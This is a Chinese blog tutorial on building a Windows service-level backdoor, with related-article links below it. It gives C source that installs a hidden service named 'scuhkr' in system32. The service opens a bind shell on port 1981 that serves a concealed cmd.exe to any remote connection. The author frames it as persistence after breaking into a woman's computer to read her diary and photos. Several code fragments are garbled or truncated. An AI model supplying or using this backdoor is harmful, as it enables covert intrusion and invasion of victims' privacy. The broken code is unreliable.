服务级后门自己做

服务级后门自己做——创建服务 以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,还有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用Windows NT/2000/XP系统服务的后门产生了, 阅读详情

服务级后门自己做


服务级后门自己做

  以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,还有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用Windows NT/2000/XP系统服务的后门产生了,现在的WinShell,WinEggDrop等众人皆知的Telnte扩展后门都利用了这种方式。相信很多小菜们对这种后门技术并不了解,所以,我在这里就充个大头,给大家传授教业解解惑吧(受害MM目光呆滞,一脸绝望:有了你们这帮人,天下什么时候才能“无贼”啊?)。

  前置原理

  Windows NT/2000/XP提供的服务既可以指一种特定的Win32进程,也可以指内核模式的设备驱动程序。操作系统的一个称为“服务控制管理器SCM”的组件被用来装载和控制这两种类型的服务。当然,我们说的服务,是指的前者,即我们可以利用的服务是一个在Windows NT/2000/XP下执行的程序。当我们打开“控制面板管理工具服务”,就可以看到右边有一堆的服务,如图1所示。每一行指定了一个特定服务的属性,包括名称、描述、状态、启动类型、登录方式等。
 



图1

  “服务”本身是Windows NT/2000/XP下客户/服务器软件的合理选择,因为它提供了像Unix下后台程序Daemons(守护进程)的等价物,而且使得创建能够代表权限低的用户进行权限高的操作的程序成为可能。像我们熟知的RPC服务,病毒扫描程序以及备份程序都是很适合作为服务进程。
服务能被我们利用作为后门实现自启动,是因为它有三个很重要的特性:

1. 服务可以被指定为自启动,在利用传统的注册表修改RUN键值,添加ini自启动项等方法的基础上又多了一种选择。
2. 服务可以在任何用户登录前开始运行,我们可以在服务启动时加入杀防火墙的代码。
3. 服务是运行在后台的,如果不注意,天知道什么时候被人家装了后门。

  服务大都是由服务控制程序在注册表中维护的一个信息数据库来管理的,每个服务在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都可以找到相应的一个关键项。服务区别于一般Windows NT/2000/XP程序的主要之处在于服务与服务控制管理程序的合作,在后面的编程中我们将会体会到这一点。

  编程实现

  一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序。我们先来写服务的主体部分,示例代码如下:

void main()
{
 SERVICE_TABLE_ENTRY ServiceTable[] =
 {
  {"scuhkr", BDServiceMain},
  {NULL, NULL} //"哨兵"
 };
 //连接到服务控制管理器
 StartServiceCtrlDispatcher(ServiceTable);
}

 路人甲:什么,就这么短?你想侮辱广大鸟儿的智慧?呵呵,先别急,听我慢慢道来:上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,它原形的参数必须定义成如下形式:
VOID WINAPI BDServiceMain(
  DWORD dwArgc,  //lpszArgv参数个数
  LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,可以在后面被
                      StartService()来调用
);
SERVICE_TABLE_ENTRY结构数组要求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程序服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,它为每个服务启动一个线程,一直等到它们结束才返回。
 本程序只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
 DWORD dwThreadId;  //存放线程ID
 
//通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。
//BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作
 if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
                     BDHandler)))
  return;

//表示该服务私有
 ServiceStatus.dwServiceType  = SERVICE_WIN32_OWN_PROCESS;
//初始化服务,正在开始
 ServiceStatus.dwCurrentState  = SERVICE_START_PENDING; //
//服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求
 ServiceStatus.dwControlsAccepted  = SERVICE_ACCEPT_STOP
                      | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面几个一般我们不大关心,全为0
 ServiceStatus.dwServiceSpecificExitCode = 0;
 ServiceStatus.dwWin32ExitCode        = 0;
 ServiceStatus.dwCheckPoint            = 0;
 ServiceStatus.dwWaitHint              = 0;
//必须调用SetServiceStatus()来响应服务控制程序的每次请求通知
 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//开始运行服务
 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我们用一个事件对象来控制服务的同步
 if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
  return;

 ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开线程来启动我们的后门程序
 if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId)))
 

 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 WaitForSingleObject(hEvent, INFINITE);

 CloseHandle(hThread);
 ExitThread(dwThreadId);
 CloseHandle(hEvent);

 return;
}

  上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其它暂停、恢复等功能,读者可以自己完善。下面是对BDHandler()的实现代码:
void WINAPI BDHandler(DWORD dwControl)
{
 switch(dwControl)
 {
 case SERVICE_CONTROL_STOP:
//等待后门程序的停止
  ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
  
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//设时间为激发状态,等待下一个事件的到来
  SetEvent(hEvent);
  
  ServiceStatus.dwCurrentState = SERVICE_STOP;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
//停止
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
  break;
 
 default:
  break;
 }
}

  服务控制函数搞定了,下面就剩下主体的后门函数了。本程序借用了N多前辈翻写过了无数次的后门程序,通过开一个端口监听,允许任何与该端口连接的远程主机建立信任连接,并提供一个交互式Shell。为了代码清晰,我去掉了错误检查,整个过程很简单,也就不多解释了,黑防上都有N期介绍了,代码如下:
DWORD WINAPI MainFn(LPVOID lpParam)
{
 WSADATA WSAData;
 struct sockaddr_in RemoteAddr;
 DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
 PROCESS_INFORMATION processinfo;
 STARTUPINFO startinfo;
 
 WSAStartup(MAKEWORD(2,2),&WSAData);
 ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 RemoteAddr.sin_family = AF_INET;
 RemoteAddr.sin_port = htons(1981);  //监听端口
 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
 
 bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
 listen(ServerSocket, 2);
 
 varA = 0;
 varB = 0;
 CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
 CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
 
 dowhile((varA || varB) == 0);
 
 GetStartupInfo(&startinfo);
 startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 startinfo.hStdInput = hReadPipe;
 startinfo.hStdError = hWritePipe;
 startinfo.hStdOutput = hWritePipe;
 startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口

 char szAPP[256];
 GetSystemDirectory(szAPP,MAX_PATH+1);
 
  strcat(szAPP,"
cmd.exe");
//开cmd进程
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
   NULL, NULL, &startinfo, &processinfo) == 0)
  {
   printf ("CreateProcess Error!n");
   return -1;
  }
 
 while (true)
 {
  ClientSocket = accept(ServerSocket, NULL, NULL);
  Sleep(250);
 }

 return 0;
}

//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD nByteToWrite, nByteWritten;
 char recv_buff[1024];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 CreatePipe(&hReadPipe,
  &hWriteFile,
  &pipeattr,
  0);
 
 varA = 1;
 while(true)
 {
  Sleep(250);
  nByteToWrite = recv(ClientSocket,
   recv_buff,
   1024,
   0);
  printf("%sn", recv_buff);
  WriteFile(hWriteFile,
   recv_buff,
   nByteToWrite,
   &nByteWritten,
   NULL);
 }
 return 0;
}

//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD len;
 char send_buff[25000];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 
 CreatePipe(&hReadFile,
  &hWritePipe,
  &pipeattr,
  0);
 
 varB = 1;
 while (true)
 
 return 0;
}

  在我们成功入侵目标MM主机后,看了MM的照片,读了MM的日记……此处省略恶行30条。在拍屁股走人之前,怎么也要留个后门,方便下次继续看新的照片,继续读MM的小秘密(呵呵,大家不要误会,我从来不干这种事D)。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL,  //服务控制管理器句柄
 hService = NULL;     //服务句柄
 char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=;   //我们要把我们后台执行的程序放在这里,一般就是在
admin$system32里,隐蔽性高

 if ((hSCManager = OpenSCManager(NULL,  //NULL表明是本地主机
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
 {
  pirntf("OpenSCManager failedn");
  return;
 }
 
 GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
 strcpy(szExePath, szSysPath);
 strcat(szExePath, "scuhkr.exe");  //应用程序绝对路径

 if ((hService=CreateService(hSCManager,  //指向服务控制管理数据库的句柄
        "scuhkr",    //服务名
        "scuhkr backdoor service", //显示用的服务名
        SERVICE_ALL_ACCESS, //所有访问权限
        SERVICE_WIN32_OWN_PROCESS, //私有类型
        SERVICE_DEMAND_START, //自启动类型        SERVICE_ERROR_IGNORE, //忽略错误处理
        szExePath,  //应用程序路径
        NULL,
        NULL,
        NULL,
        NULL,
        NULL)) == NULL)
 {
  printf("%dn", GetLastError());
   return;
 }

//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
 if(StartService(hService, 0, NULL) == FALSE)
 { 
  printf("StartService failed: %dn", GetLastError());
  return;
 }
 printf(“Install service successfullyn ”);
 CloseServiceHandle(hService);  //关闭服务句柄
 CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}

  Ok,一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”,如图2所示。看到安装服务的信息了?是不是很简单呢!


 
图2

  至于以后不想再要这个MM的肉鸡了,又不想留下把柄什么的,要删除服务怎么办?读者就自己当做练习吧。还有一点要说的是,本人也是临时抱佛脚,狂啃了几天关于NT系统服务方面的编程,如果有什么不对,欢迎大家批评指正!

TCMD服务级后门 服务级后门.可远程命令行执行操作(类telnet).适合新人用来学习windows服务的创建运行删除.代码质量较好.工程为VC2003 立即下载

相关推荐

系统后门服务的应用 网络安全

系统后门服务 网络安全 实验目的: (1)了解系统服务后门以及危害,这里以Telnet服务给大家展示。 (2)找的一些解决系统服务后门的方法。

VS2010添加DCMTK库,并实现Echo SCU

当DCMTK库编译通过后就可以使用了,但是怎么使用? 在vs2010新建工程后,要把工程和DCMTK库链接起来。在工程上面点击右键,选择属性 1、配置属性->VC++目录->包含目录,添加include目录 2、配置属性->链接器->常规->附加库目录,添加lib目录 3、配置属性->C/C++->代码生成->运行库,选择多线程调试 (/MTd) 4、配置属性->链接器->输入->附加依

KangRoger的专栏 5702

一次渗透测试引发的Json格式下CSRF攻击的探索

一次渗透测试引发的Json格式下CSRF攻击的探索

weixin_52501704的博客 1050

问题:vc写的windows服务程序,怎么禁止用户停止

vc生成的服务模板,怎么让服务禁止用户停止? 网上查的一些资料说:SERVICE_ACCEPT_PAUSE_CONTINUE 表示可以被暂停 SERVICE_ACCEPT_STOP 表示可以被停止,在SERVICE_STATUS结构体成员dwControlsAccepted、还未验证。

thanklife的专栏 899

基于Matlab与Bladed联合仿真的交互软件设计

基于Matlab与Bladed的交互软件设计

weixin_45014222的博客 816

AUTOSAR R20-11标准下载!

这是公众号的第2篇推文,粉丝数49 Document Search Classic Platform Adaptive Platform Foundation 文档截图 以为会在明天的发布会之后才上线,没想到官网现在就悄悄放出来了。 中国由于网络问题,下载速度比较慢或者会中断。 “阅读原文”提供多种下载方式,可以在线浏览,可以集中下载也可单个文档下载。 如有增减我也会及时在公众号里通知大家,不过我觉得不会变动了。 整理不宜,好东西要分...

Adaptive_AUTOSAR的博客 1891

windows服务编程--异常终止重启;拒绝手动停止

Windows服务也算是个应用程序,没有界面。可以长期在后台运行。 当然他需要制定一个可执行文件来运行。 创建服务的过程如下: OpenSCManager()打开服务管理器 CreateService() 创建一个服务,指定服务名称,可执行文件的路径,启动类型,控制类型,等等 OpenService() 打开一个服务来进行,配置、查询、启动、停止、等等操作。(当然执行相应的操作必

yiqiyihuiligang的专栏 6157

【论文翻译】YOLO26: KEY ARCHITECTURAL ENHANCEMENTS AND PERFORMANCE BENCHMARKING FOR REAL-TIME OBJECT DETEC

本研究对Ultralytics YOLO26进行了全面分析,重点阐述了其在实时边缘目标检测领域的关键架构改进与性能基准测试结果。YOLO26于2025年9月发布,是YOLO系列中最新、最先进的模型,专为在边缘设备和低功耗设备上实现高效能、高精度和部署就绪性而设计。论文依次详细介绍了YOLO26的架构创新,包括移除分布焦点损失(DFL)、采用端到端无非极大值抑制(NMS)推理、集成渐进式损失(ProgLoss)和小目标感知标签分配(STAL),以及引入MuSGD优化器以实现稳定收敛。

Limiiiing的博客 1688

禁止用户在任务管理器中停止服务

void WINAPI Service_Main(DWORD dwArgc, LPTSTR *lpszArgv) { DebugMessage(_T("this is function Service_Main")); ssStatus.dwServiceType = SERVICE_WIN32; ssStatus.dwCurrentState = SERVI

死胖子的博客 2425

ZW3D 二次开发-制作插件

1.Windows 7 SP1 或 Windows 10 或 Windows 11(推荐 Windows 11)2.Visual studio 2017-2022 (或 C/C++的任何其他集成开发环境)(推荐 Visual studio 2022)3.ZW3D 2023 或以上版本(建议使用与 ZW3D 一致的 API 的版本)4.Qt5.9.7(for Windows)博主学习使用环境的是:Windows 11 Version 24H2 + Visual studio 2022 + Qt5.9.7(fo

fhqiwmc的博客 813

Codex 接入自定义大模型终极教程:插件解锁、会话管理、国产模型一键搞定

🚀 Codex 默认只能使用 OpenAI 官方模型?这篇文章带你从零接入 DeepSeek、通义千问、GLM 等国产大模型,并彻底解锁插件、会话删除、多模型切换等隐藏功能。配置原理、常见坑点、傻瓜式增强工具分享,小白也能轻松上手!🔥

XiaoqiangClub的博客 3154

关于服务编程中禁止“停止”或“暂停”选项的问题

          今天写服务程序,一直未发现用什么方法能够禁止服务防止别人“暂停”或“停止”的方法,经再三分析,发现了在我们的 SERVICE_STATUS 结构体中有一个域:dwControlsAccepted .只要我们对这个域进行赋值,则我们的服务可以被“停止”,“暂停”,或我们不管这个域,则别人无法对服务进行“停止”或“暂停”。         小小的技术。

ytfrdfiw的专栏 4171

【CASS精品教程】013:CASS9.1生成标准图幅案例教程

在CASS中,可以很方便的生成标准图幅,如50*50。本文演示cass中,根据测区范围标准图幅生成过程。

智慧空间实验室 1万+

自己来做服务级的木马后门

以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,还有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用WindowsNT/2000/XP系统服务的后

To be, or not to be: that is the question 1158

【WRF数据准备】制备月尺度静态地理数据:LAI、Fpar、LUCC

【WRF数据准备】制备月尺度静态地理数据:LAI、Fpar、LUCC

WW、forever的博客 803

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

服务级后门自己做——创建服务 分类: VC++ ...

以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,还有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用Windows NT/2000/XP系统...

weixin_30752377的博客 111

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

上一篇: 实用查询
下一篇: Beginner's introductory guide to writing,installing,starting,stopping NT services
普通网友
博客等级 码龄22年 1万+粉丝 3156原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值